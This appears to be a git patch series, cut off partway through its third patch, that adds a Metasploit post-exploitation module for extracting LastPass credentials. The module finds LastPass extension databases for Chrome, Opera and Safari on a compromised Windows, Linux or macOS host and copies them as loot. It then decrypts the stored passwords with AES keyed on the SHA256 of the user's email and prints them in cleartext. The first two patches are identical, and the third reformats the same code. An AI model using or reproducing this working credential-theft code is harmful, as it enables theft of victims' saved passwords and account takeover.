From f30f3392aaa8a20789528b6299850398200b66d6 Mon Sep 17 00:00:00 2001 From: Martin Vigo Date: Thu, 18 Sep 2014 23:40:05 -0700 Subject: [PATCH 01/24] Add module to extract/decrypt LastPass credentials --- modules/post/multi/gather/lastpass_creds.rb | 278 ++++++++++++++++++++ 1 file changed, 278 insertions(+) create mode 100644 modules/post/multi/gather/lastpass_creds.rb diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb new file mode 100644 index 0000000000..4801064231 --- /dev/null +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -0,0 +1,278 @@ + +require 'msf/core' +require 'base64' +require 'sqlite3' + + +class Metasploit3 < Msf::Post + + include Msf::Post::File + include Msf::Post::Windows::UserProfiles + include Msf::Post::OSX::System + include Msf::Post::Unix + + def initialize(info={}) + super( update_info( info, + 'Name' => 'LastPass Master Password Extractor', + 'Description' => %q{ + This module extracts and decrypts login accounts and passwords stored by + Lastpass.}, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Alberto Garcia Illera ', + 'Martin Vigo ' + ], + 'Platform' => %w{ linux osx unix win }, + 'SessionTypes' => [ 'meterpreter, shell' ] + )) + + end + + + + def run + if session.platform =~ /win/ and session.type == "shell" # No Windows shell support + print_error "Shell sessions on Windows are not supported" + return + end + + print_status "Searching for LastPass databases..." + + db_paths = get_database_paths # Find databases and get the remote paths + + if db_paths.size==0 # Found any database? + print_status "No databases found" + return + end + + print_status "Looking for credentials in all databases found..." + + for db_path in db_paths + # Read and store the remote database locally + data = read_file(db_path) + loot_path = store_loot('lastpass.database', 'application/x-sqlite3', data, nil, "LastPass database #{db_path}") + + # Parsing/Querying the DB + db = SQLite3::Database.new(loot_path) + query_result = db.execute( "SELECT username, password + FROM LastPassSavedLogins2 + WHERE username IS NOT NULL AND username != '' AND password IS NOT NULL AND password != '';") + + for row in query_result # Decrypt passwords + print_status "Decrypting password for user #{row[0]}..." + password = getClearTextPassword(row[0], row[1]) + if password.blank? + print_error "Username: '#{row[0]}' (Password was not found/decrypted)" + else + print_good("Username: '#{row[0]}' -> Password: '#{password}'") + end + end + end + end + + + + # Finds the databases in the victim's machine + def get_database_paths # Based on https://lastpass.com/support.php?cmd=showfaq&id=425 + platform = session.platform + found_dbs_paths = Array.new + user_profiles = get_user_profiles() + + case platform + when /win/ + os = session.sys.config.sysinfo['OS'] + user_profiles = grab_user_profiles() + + if os =~ /Vista|Windows 7|Windows 8/ + for user_profile in user_profiles + print_status "Found user: #{user_profile['UserName']}" + + #Check Chrome + path = "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" + file_paths = get_file_paths(path, 'Chrome') + found_dbs_paths.push( file_paths ) if not file_paths.nil? + + #Check Opera + path = "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0" + file_paths = get_file_paths(path, 'Opera') + found_dbs_paths.push( file_paths ) if not file_paths.nil? + + #Check Safari + path = "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\Databases\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0" + file_paths = get_file_paths(path, 'Safari') + found_dbs_paths.push( file_paths ) if not file_paths.nil? + + print_line "" + end + elsif os =~ /XP/ + for user_profile in user_profiles + print_status "Found user: #{user_profile['UserName']}" + + #Check Chrome + print_status 'Checking in Chrome...' + path = "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" + file_paths = get_file_paths(path, 'Chrome') + found_dbs_paths.push( file_paths ) if not file_paths.nil? + + #Check Opera + print_status 'Checking in Opera...' + path = "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0" + file_paths = get_file_paths(path, 'Opera') + found_dbs_paths.push( file_paths ) if not file_paths.nil? + + #Check Safari + print_status 'Checking in Safari...' + path = "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\Databases\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0" + file_paths = get_file_paths(path, 'Safari') + found_dbs_paths.push( file_paths ) if not file_paths.nil? + + print_line "" + end + else + print_error "OS not recognized: #{os}" + return nil + end + + when /unix|linux/ + for user_profile in user_profiles + print_status "Found user: #{user_profile['UserName']}" + + #Check Chrome + path = "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" + file_paths = get_file_paths(path, 'Chrome') + found_dbs_paths.push( file_paths ) if not file_paths.nil? + end + + when /osx/ + for user_profile in user_profiles + print_status "Found user: #{user_profile['UserName']}" + + #Check Chrome + path = "#{user_profile['LocalAppData']}/Google/Chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" + file_paths = get_file_paths(path, 'Chrome') + found_dbs_paths.push( file_paths ) if not file_paths.nil? + + #Check Safari + path = "#{user_profile['AppData']}/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0" + file_paths = get_file_paths(path, 'Safari') + found_dbs_paths.push( file_paths ) if not file_paths.nil? + + #Check Opera + path = "#{user_profile['LocalAppData']}/com.operasoftware.Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0" + file_paths = get_file_paths(path, 'Opera') + found_dbs_paths.push( file_paths ) if not file_paths.nil? + end + + else + raise 'platform not recognized: ' << platform + end + + return found_dbs_paths.flatten + end + + + + # Returns the relevant information from user profiles + def get_user_profiles() + case session.platform + when /unix|linux/ + user_profiles = Array.new + + user_names = session.shell_command("ls /home").split + for user_name in user_names + user_profiles.push({'UserName' => user_name, "LocalAppData" => "/home/#{user_name}"}) + end + + return user_profiles + + when /osx/ + user_profiles = Array.new + + user_names = session.shell_command("ls /Users").split + for user_name in user_names + user_profiles.push({'UserName' => user_name, "AppData" => "/Users/#{user_name}/Library", "LocalAppData" => "/Users/#{user_name}/Library/Application Support"}) if user_name != 'Shared' + end + + return user_profiles + + when /win/ + return grab_user_profiles() + else + print_error "OS not recognized: #{os}" + return nil + end + end + + + + # Extracts the databases paths from the given folder ignoring . and .. + def get_file_paths(path, browser) + found_dbs_paths = Array.new + + if directory?(path) + if session.type == "meterpreter" + files = client.fs.dir.entries(path) + for file_path in files + found_dbs_paths.push(File.join(path, file_path)) if file_path != '.' and file_path != '..' + end + + elsif session.type == "shell" + files = session.shell_command("ls \"#{path}\"").split + for file_path in files + found_dbs_paths.push(File.join(path, file_path)) if file_path != 'Shared' + end + + else + print_error "Session type not recognized: #{session.type}" + return nil + end + end + + if found_dbs_paths.size > 0 + print_good "Found #{found_dbs_paths.size} database/s in #{browser}" + return found_dbs_paths + else + print_status "No databases found for #{browser}" + return nil + end + end + + + + # Decrypts the password + def getClearTextPassword(email, encrypted_data) + return if encrypted_data.blank? + + sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(email); + sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin + + if encrypted_data.include?("|") # Apply CBC + decipher = OpenSSL::Cipher.new("AES-256-CBC") + decipher.decrypt + decipher.key = sha256_binary_email # The key is the emails hashed to SHA256 and converted to binary + decipher.iv = Base64.decode64(encrypted_data[1, 24]) # Discard ! and | + encrypted_password = encrypted_data[26..-1] + begin + decipher_result = decipher.update( Base64.decode64(encrypted_password) ) + decipher.final + rescue + print_error "Password could not be decrypted" + return nil + end + + else # Apply ECB + decipher = OpenSSL::Cipher.new("AES-256-ECB") + decipher.decrypt + decipher.key = sha256_binary_email + begin + decipher_result = decipher.update( Base64.decode64(encrypted_data) ) + decipher.final + rescue + print_error "Password could not be decrypted" + return nil + end + end + + return decipher_result + end + +end From e96fe529e9f32695b9c6541e62be581478a78267 Mon Sep 17 00:00:00 2001 From: Martin Vigo Date: Thu, 18 Sep 2014 23:40:05 -0700 Subject: [PATCH 02/24] Add module to extract/decrypt LastPass credentials --- modules/post/multi/gather/lastpass_creds.rb | 278 ++++++++++++++++++++ 1 file changed, 278 insertions(+) create mode 100644 modules/post/multi/gather/lastpass_creds.rb diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb new file mode 100644 index 0000000000..4801064231 --- /dev/null +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -0,0 +1,278 @@ + +require 'msf/core' +require 'base64' +require 'sqlite3' + + +class Metasploit3 < Msf::Post + + include Msf::Post::File + include Msf::Post::Windows::UserProfiles + include Msf::Post::OSX::System + include Msf::Post::Unix + + def initialize(info={}) + super( update_info( info, + 'Name' => 'LastPass Master Password Extractor', + 'Description' => %q{ + This module extracts and decrypts login accounts and passwords stored by + Lastpass.}, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'Alberto Garcia Illera ', + 'Martin Vigo ' + ], + 'Platform' => %w{ linux osx unix win }, + 'SessionTypes' => [ 'meterpreter, shell' ] + )) + + end + + + + def run + if session.platform =~ /win/ and session.type == "shell" # No Windows shell support + print_error "Shell sessions on Windows are not supported" + return + end + + print_status "Searching for LastPass databases..." + + db_paths = get_database_paths # Find databases and get the remote paths + + if db_paths.size==0 # Found any database? + print_status "No databases found" + return + end + + print_status "Looking for credentials in all databases found..." + + for db_path in db_paths + # Read and store the remote database locally + data = read_file(db_path) + loot_path = store_loot('lastpass.database', 'application/x-sqlite3', data, nil, "LastPass database #{db_path}") + + # Parsing/Querying the DB + db = SQLite3::Database.new(loot_path) + query_result = db.execute( "SELECT username, password + FROM LastPassSavedLogins2 + WHERE username IS NOT NULL AND username != '' AND password IS NOT NULL AND password != '';") + + for row in query_result # Decrypt passwords + print_status "Decrypting password for user #{row[0]}..." + password = getClearTextPassword(row[0], row[1]) + if password.blank? + print_error "Username: '#{row[0]}' (Password was not found/decrypted)" + else + print_good("Username: '#{row[0]}' -> Password: '#{password}'") + end + end + end + end + + + + # Finds the databases in the victim's machine + def get_database_paths # Based on https://lastpass.com/support.php?cmd=showfaq&id=425 + platform = session.platform + found_dbs_paths = Array.new + user_profiles = get_user_profiles() + + case platform + when /win/ + os = session.sys.config.sysinfo['OS'] + user_profiles = grab_user_profiles() + + if os =~ /Vista|Windows 7|Windows 8/ + for user_profile in user_profiles + print_status "Found user: #{user_profile['UserName']}" + + #Check Chrome + path = "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" + file_paths = get_file_paths(path, 'Chrome') + found_dbs_paths.push( file_paths ) if not file_paths.nil? + + #Check Opera + path = "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0" + file_paths = get_file_paths(path, 'Opera') + found_dbs_paths.push( file_paths ) if not file_paths.nil? + + #Check Safari + path = "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\Databases\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0" + file_paths = get_file_paths(path, 'Safari') + found_dbs_paths.push( file_paths ) if not file_paths.nil? + + print_line "" + end + elsif os =~ /XP/ + for user_profile in user_profiles + print_status "Found user: #{user_profile['UserName']}" + + #Check Chrome + print_status 'Checking in Chrome...' + path = "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" + file_paths = get_file_paths(path, 'Chrome') + found_dbs_paths.push( file_paths ) if not file_paths.nil? + + #Check Opera + print_status 'Checking in Opera...' + path = "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0" + file_paths = get_file_paths(path, 'Opera') + found_dbs_paths.push( file_paths ) if not file_paths.nil? + + #Check Safari + print_status 'Checking in Safari...' + path = "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\Databases\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0" + file_paths = get_file_paths(path, 'Safari') + found_dbs_paths.push( file_paths ) if not file_paths.nil? + + print_line "" + end + else + print_error "OS not recognized: #{os}" + return nil + end + + when /unix|linux/ + for user_profile in user_profiles + print_status "Found user: #{user_profile['UserName']}" + + #Check Chrome + path = "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" + file_paths = get_file_paths(path, 'Chrome') + found_dbs_paths.push( file_paths ) if not file_paths.nil? + end + + when /osx/ + for user_profile in user_profiles + print_status "Found user: #{user_profile['UserName']}" + + #Check Chrome + path = "#{user_profile['LocalAppData']}/Google/Chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" + file_paths = get_file_paths(path, 'Chrome') + found_dbs_paths.push( file_paths ) if not file_paths.nil? + + #Check Safari + path = "#{user_profile['AppData']}/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0" + file_paths = get_file_paths(path, 'Safari') + found_dbs_paths.push( file_paths ) if not file_paths.nil? + + #Check Opera + path = "#{user_profile['LocalAppData']}/com.operasoftware.Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0" + file_paths = get_file_paths(path, 'Opera') + found_dbs_paths.push( file_paths ) if not file_paths.nil? + end + + else + raise 'platform not recognized: ' << platform + end + + return found_dbs_paths.flatten + end + + + + # Returns the relevant information from user profiles + def get_user_profiles() + case session.platform + when /unix|linux/ + user_profiles = Array.new + + user_names = session.shell_command("ls /home").split + for user_name in user_names + user_profiles.push({'UserName' => user_name, "LocalAppData" => "/home/#{user_name}"}) + end + + return user_profiles + + when /osx/ + user_profiles = Array.new + + user_names = session.shell_command("ls /Users").split + for user_name in user_names + user_profiles.push({'UserName' => user_name, "AppData" => "/Users/#{user_name}/Library", "LocalAppData" => "/Users/#{user_name}/Library/Application Support"}) if user_name != 'Shared' + end + + return user_profiles + + when /win/ + return grab_user_profiles() + else + print_error "OS not recognized: #{os}" + return nil + end + end + + + + # Extracts the databases paths from the given folder ignoring . and .. + def get_file_paths(path, browser) + found_dbs_paths = Array.new + + if directory?(path) + if session.type == "meterpreter" + files = client.fs.dir.entries(path) + for file_path in files + found_dbs_paths.push(File.join(path, file_path)) if file_path != '.' and file_path != '..' + end + + elsif session.type == "shell" + files = session.shell_command("ls \"#{path}\"").split + for file_path in files + found_dbs_paths.push(File.join(path, file_path)) if file_path != 'Shared' + end + + else + print_error "Session type not recognized: #{session.type}" + return nil + end + end + + if found_dbs_paths.size > 0 + print_good "Found #{found_dbs_paths.size} database/s in #{browser}" + return found_dbs_paths + else + print_status "No databases found for #{browser}" + return nil + end + end + + + + # Decrypts the password + def getClearTextPassword(email, encrypted_data) + return if encrypted_data.blank? + + sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(email); + sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin + + if encrypted_data.include?("|") # Apply CBC + decipher = OpenSSL::Cipher.new("AES-256-CBC") + decipher.decrypt + decipher.key = sha256_binary_email # The key is the emails hashed to SHA256 and converted to binary + decipher.iv = Base64.decode64(encrypted_data[1, 24]) # Discard ! and | + encrypted_password = encrypted_data[26..-1] + begin + decipher_result = decipher.update( Base64.decode64(encrypted_password) ) + decipher.final + rescue + print_error "Password could not be decrypted" + return nil + end + + else # Apply ECB + decipher = OpenSSL::Cipher.new("AES-256-ECB") + decipher.decrypt + decipher.key = sha256_binary_email + begin + decipher_result = decipher.update( Base64.decode64(encrypted_data) ) + decipher.final + rescue + print_error "Password could not be decrypted" + return nil + end + end + + return decipher_result + end + +end From 8dafc93dc37669801bbc746d119c691bf2ca608c Mon Sep 17 00:00:00 2001 From: Martin Vigo Date: Sun, 28 Sep 2014 01:59:02 -0700 Subject: [PATCH 03/24] Meet rubocop and msftify rules --- modules/post/multi/gather/lastpass_creds.rb | 477 ++++++++++---------- 1 file changed, 231 insertions(+), 246 deletions(-) diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index 4801064231..a82dcafb1d 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -1,278 +1,263 @@ - require 'msf/core' require 'base64' require 'sqlite3' - class Metasploit3 < Msf::Post + include Msf::Post::File + include Msf::Post::Windows::UserProfiles + include Msf::Post::OSX::System + include Msf::Post::Unix - include Msf::Post::File - include Msf::Post::Windows::UserProfiles - include Msf::Post::OSX::System - include Msf::Post::Unix + def initialize(info = {}) + super(update_info(info, + 'Name' => 'LastPass Master Password Extractor', + 'Description' => %q{This module extracts and decrypts login accounts and passwords stored by Lastpass.}, + 'License' => MSF_LICENSE, + 'Author' => ['Alberto Garcia Illera ', 'Martin Vigo '], + 'Platform' => %w{ linux osx unix win }, + 'SessionTypes' => [ 'meterpreter, shell' ] + )) + end - def initialize(info={}) - super( update_info( info, - 'Name' => 'LastPass Master Password Extractor', - 'Description' => %q{ - This module extracts and decrypts login accounts and passwords stored by - Lastpass.}, - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Alberto Garcia Illera ', - 'Martin Vigo ' - ], - 'Platform' => %w{ linux osx unix win }, - 'SessionTypes' => [ 'meterpreter, shell' ] - )) + def run + if session.platform =~ /win/ && session.type == "shell" # No Windows shell support + print_error "Shell sessions on Windows are not supported" + return + end - end + print_status "Searching for LastPass databases..." + + db_paths = database_paths # Find databases and get the remote paths + + if db_paths.size == 0 # Found any database? + print_status "No databases found" + return + end + + print_status "Looking for credentials in all databases found..." + + db_paths.each do |db_path| + # Read and store the remote database locally + data = read_file(db_path) + loot_path = store_loot('lastpass.database', 'application/x-sqlite3', data, nil, "LastPass database #{db_path}") + + # Parsing/Querying the DB + db = SQLite3::Database.new(loot_path) + query_result = db.execute("SELECT username, password FROM LastPassSavedLogins2 WHERE username IS NOT NULL AND username != '' AND password IS NOT NULL AND password != '';") + + query_result.each do |row| # Decrypt passwords + print_status "Decrypting password for user #{row[0]}..." + password = clear_text_password(row[0], row[1]) + if password.blank? + print_error "Username: '#{row[0]}' (Password was not found/decrypted)" + else + print_good("Username: '#{row[0]}' -> Password: '#{password}'") + end + end + end + end - def run - if session.platform =~ /win/ and session.type == "shell" # No Windows shell support - print_error "Shell sessions on Windows are not supported" - return - end + # Finds the databases in the victim's machine + def database_paths # Based on https://lastpass.com/support.php?cmd=showfaq&id=425 + platform = session.platform + found_dbs_paths = [] + user_profiles = user_profiles - print_status "Searching for LastPass databases..." + case platform + when /win/ + os = session.sys.config.sysinfo['OS'] + user_profiles = grab_user_profiles - db_paths = get_database_paths # Find databases and get the remote paths + if os =~ /Vista|Windows 7|Windows 8/ + user_profiles.each do |user_profile| + print_status "Found user: #{user_profile['UserName']}" - if db_paths.size==0 # Found any database? - print_status "No databases found" - return - end - - print_status "Looking for credentials in all databases found..." + # Check Chrome + path = "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" + file_paths = file_paths(path, 'Chrome') + found_dbs_paths.push(file_paths) unless file_paths.nil? - for db_path in db_paths - # Read and store the remote database locally - data = read_file(db_path) - loot_path = store_loot('lastpass.database', 'application/x-sqlite3', data, nil, "LastPass database #{db_path}") + # Check Opera + path = "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0" + file_paths = file_paths(path, 'Opera') + found_dbs_paths.push(file_paths) unless file_paths.nil? - # Parsing/Querying the DB - db = SQLite3::Database.new(loot_path) - query_result = db.execute( "SELECT username, password - FROM LastPassSavedLogins2 - WHERE username IS NOT NULL AND username != '' AND password IS NOT NULL AND password != '';") + # Check Safari + path = "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\Databases\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0" + file_paths = file_paths(path, 'Safari') + found_dbs_paths.push(file_paths) unless file_paths.nil? - for row in query_result # Decrypt passwords - print_status "Decrypting password for user #{row[0]}..." - password = getClearTextPassword(row[0], row[1]) - if password.blank? - print_error "Username: '#{row[0]}' (Password was not found/decrypted)" - else - print_good("Username: '#{row[0]}' -> Password: '#{password}'") - end - end - end - end + print_line "" + end + + elsif os =~ /XP/ + user_profiles.each do |user_profile| + print_status "Found user: #{user_profile['UserName']}" + + # Check Chrome + print_status 'Checking in Chrome...' + path = "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" + file_paths = file_paths(path, 'Chrome') + found_dbs_paths.push(file_paths) unless file_paths.nil? + + # Check Opera + print_status 'Checking in Opera...' + path = "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0" + file_paths = file_paths(path, 'Opera') + found_dbs_paths.push(file_paths) unless file_paths.nil? + + # Check Safari + print_status 'Checking in Safari...' + path = "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\Databases\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0" + file_paths = file_paths(path, 'Safari') + found_dbs_paths.push(file_paths) unless file_paths.nil? + + print_line "" + end + + else + print_error "OS not recognized: #{os}" + return nil + end + + when /unix|linux/ + user_profiles.each do |user_profile| + print_status "Found user: #{user_profile['UserName']}" + + # Check Chrome + path = "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" + file_paths = file_paths(path, 'Chrome') + found_dbs_paths.push(file_paths) unless file_paths.nil? + end + + when /osx/ + user_profiles.each do |user_profile| + print_status "Found user: #{user_profile['UserName']}" + + # Check Chrome + path = "#{user_profile['LocalAppData']}/Google/Chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" + file_paths = file_paths(path, 'Chrome') + found_dbs_paths.push(file_paths) unless file_paths.nil? + + # Check Safari + path = "#{user_profile['AppData']}/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0" + file_paths = file_paths(path, 'Safari') + found_dbs_paths.push(file_paths) unless file_paths.nil? + + # Check Opera + path = "#{user_profile['LocalAppData']}/com.operasoftware.Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0" + file_paths = file_paths(path, 'Opera') + found_dbs_paths.push(file_paths) unless file_paths.nil? + end + + else + print_error "platform not recognized: #{platform}" + return nil + end + + found_dbs_paths.flatten + end + + + # Returns the relevant information from user profiles + def user_profiles + case session.platform + when /unix|linux/ + user_profiles = [] + user_names = session.shell_command("ls /home").split + user_names.each do |user_name| + user_profiles.push({ 'UserName' => user_name, "LocalAppData" => "/home/#{user_name} "}) + end + + return user_profiles + + when /osx/ + user_profiles = [] + user_names = session.shell_command("ls /Users").split + user_names.each do |user_name| + user_profiles.push({ 'UserName' => user_name, "AppData" => "/Users/#{user_name}/Library", "LocalAppData" => "/Users/#{user_name}/Library/Application Support" }) if user_name != 'Shared' + end + + return user_profiles + + when /win/ + return grab_user_profiles + else + print_error "OS not recognized: #{os}" + return nil + end + end - # Finds the databases in the victim's machine - def get_database_paths # Based on https://lastpass.com/support.php?cmd=showfaq&id=425 - platform = session.platform - found_dbs_paths = Array.new - user_profiles = get_user_profiles() - - case platform - when /win/ - os = session.sys.config.sysinfo['OS'] - user_profiles = grab_user_profiles() + # Extracts the databases paths from the given folder ignoring . and .. + def file_paths(path, browser) + found_dbs_paths = [] - if os =~ /Vista|Windows 7|Windows 8/ - for user_profile in user_profiles - print_status "Found user: #{user_profile['UserName']}" + if directory?(path) + if session.type == "meterpreter" + files = client.fs.dir.entries(path) + files.each do |file_path| + found_dbs_paths.push(File.join(path, file_path)) if file_path != '.' && file_path != '..' + end - #Check Chrome - path = "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" - file_paths = get_file_paths(path, 'Chrome') - found_dbs_paths.push( file_paths ) if not file_paths.nil? + elsif session.type == "shell" + files = session.shell_command("ls \"#{path}\"").split + files.each do |file_path| + found_dbs_paths.push(File.join(path, file_path)) if file_path != 'Shared' + end - #Check Opera - path = "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0" - file_paths = get_file_paths(path, 'Opera') - found_dbs_paths.push( file_paths ) if not file_paths.nil? + else + print_error "Session type not recognized: #{session.type}" + return nil + end + end - #Check Safari - path = "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\Databases\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0" - file_paths = get_file_paths(path, 'Safari') - found_dbs_paths.push( file_paths ) if not file_paths.nil? - - print_line "" - end - elsif os =~ /XP/ - for user_profile in user_profiles - print_status "Found user: #{user_profile['UserName']}" - - #Check Chrome - print_status 'Checking in Chrome...' - path = "#{user_profile['LocalAppData']}\\Google\\Chrome\\User Data\\Default\\databases\\chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" - file_paths = get_file_paths(path, 'Chrome') - found_dbs_paths.push( file_paths ) if not file_paths.nil? - - #Check Opera - print_status 'Checking in Opera...' - path = "#{user_profile['AppData']}\\Opera Software\\Opera Stable\\databases\\chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0" - file_paths = get_file_paths(path, 'Opera') - found_dbs_paths.push( file_paths ) if not file_paths.nil? - - #Check Safari - print_status 'Checking in Safari...' - path = "#{user_profile['LocalAppData']}\\Apple Computer\\Safari\\Databases\\safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0" - file_paths = get_file_paths(path, 'Safari') - found_dbs_paths.push( file_paths ) if not file_paths.nil? - - print_line "" - end - else - print_error "OS not recognized: #{os}" - return nil - end - - when /unix|linux/ - for user_profile in user_profiles - print_status "Found user: #{user_profile['UserName']}" - - #Check Chrome - path = "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" - file_paths = get_file_paths(path, 'Chrome') - found_dbs_paths.push( file_paths ) if not file_paths.nil? - end - - when /osx/ - for user_profile in user_profiles - print_status "Found user: #{user_profile['UserName']}" - - #Check Chrome - path = "#{user_profile['LocalAppData']}/Google/Chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0" - file_paths = get_file_paths(path, 'Chrome') - found_dbs_paths.push( file_paths ) if not file_paths.nil? - - #Check Safari - path = "#{user_profile['AppData']}/Safari/Databases/safari-extension_com.lastpass.lpsafariextension-n24rep3bmn_0" - file_paths = get_file_paths(path, 'Safari') - found_dbs_paths.push( file_paths ) if not file_paths.nil? - - #Check Opera - path = "#{user_profile['LocalAppData']}/com.operasoftware.Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0" - file_paths = get_file_paths(path, 'Opera') - found_dbs_paths.push( file_paths ) if not file_paths.nil? - end - - else - raise 'platform not recognized: ' << platform - end - - return found_dbs_paths.flatten - end - - - - # Returns the relevant information from user profiles - def get_user_profiles() - case session.platform - when /unix|linux/ - user_profiles = Array.new - - user_names = session.shell_command("ls /home").split - for user_name in user_names - user_profiles.push({'UserName' => user_name, "LocalAppData" => "/home/#{user_name}"}) - end - - return user_profiles - - when /osx/ - user_profiles = Array.new - - user_names = session.shell_command("ls /Users").split - for user_name in user_names - user_profiles.push({'UserName' => user_name, "AppData" => "/Users/#{user_name}/Library", "LocalAppData" => "/Users/#{user_name}/Library/Application Support"}) if user_name != 'Shared' - end - - return user_profiles - - when /win/ - return grab_user_profiles() - else - print_error "OS not recognized: #{os}" - return nil - end - end + if found_dbs_paths.size > 0 + print_good "Found #{found_dbs_paths.size} database/s in #{browser}" + return found_dbs_paths + else + print_status "No databases found for #{browser}" + return nil + end + end - # Extracts the databases paths from the given folder ignoring . and .. - def get_file_paths(path, browser) - found_dbs_paths = Array.new + # Decrypts the password + def clear_text_password(email, encrypted_data) + return if encrypted_data.blank? - if directory?(path) - if session.type == "meterpreter" - files = client.fs.dir.entries(path) - for file_path in files - found_dbs_paths.push(File.join(path, file_path)) if file_path != '.' and file_path != '..' - end - - elsif session.type == "shell" - files = session.shell_command("ls \"#{path}\"").split - for file_path in files - found_dbs_paths.push(File.join(path, file_path)) if file_path != 'Shared' - end - - else - print_error "Session type not recognized: #{session.type}" - return nil - end - end - - if found_dbs_paths.size > 0 - print_good "Found #{found_dbs_paths.size} database/s in #{browser}" - return found_dbs_paths - else - print_status "No databases found for #{browser}" - return nil - end - end + sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(email) + sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin + if encrypted_data.include?("|") # Apply CBC + decipher = OpenSSL::Cipher.new("AES-256-CBC") + decipher.decrypt + decipher.key = sha256_binary_email # The key is the emails hashed to SHA256 and converted to binary + decipher.iv = Base64.decode64(encrypted_data[1, 24]) # Discard ! and | + encrypted_password = encrypted_data[26..-1] + begin + decipher_result = decipher.update(Base64.decode64(encrypted_password)) + decipher.final + rescue + print_error "Password could not be decrypted" + return nil + end + else # Apply ECB + decipher = OpenSSL::Cipher.new("AES-256-ECB") + decipher.decrypt + decipher.key = sha256_binary_email + begin + decipher_result = decipher.update(Base64.decode64(encrypted_data)) + decipher.final + rescue + print_error "Password could not be decrypted" + return nil + end + end - # Decrypts the password - def getClearTextPassword(email, encrypted_data) - return if encrypted_data.blank? - - sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(email); - sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin - - if encrypted_data.include?("|") # Apply CBC - decipher = 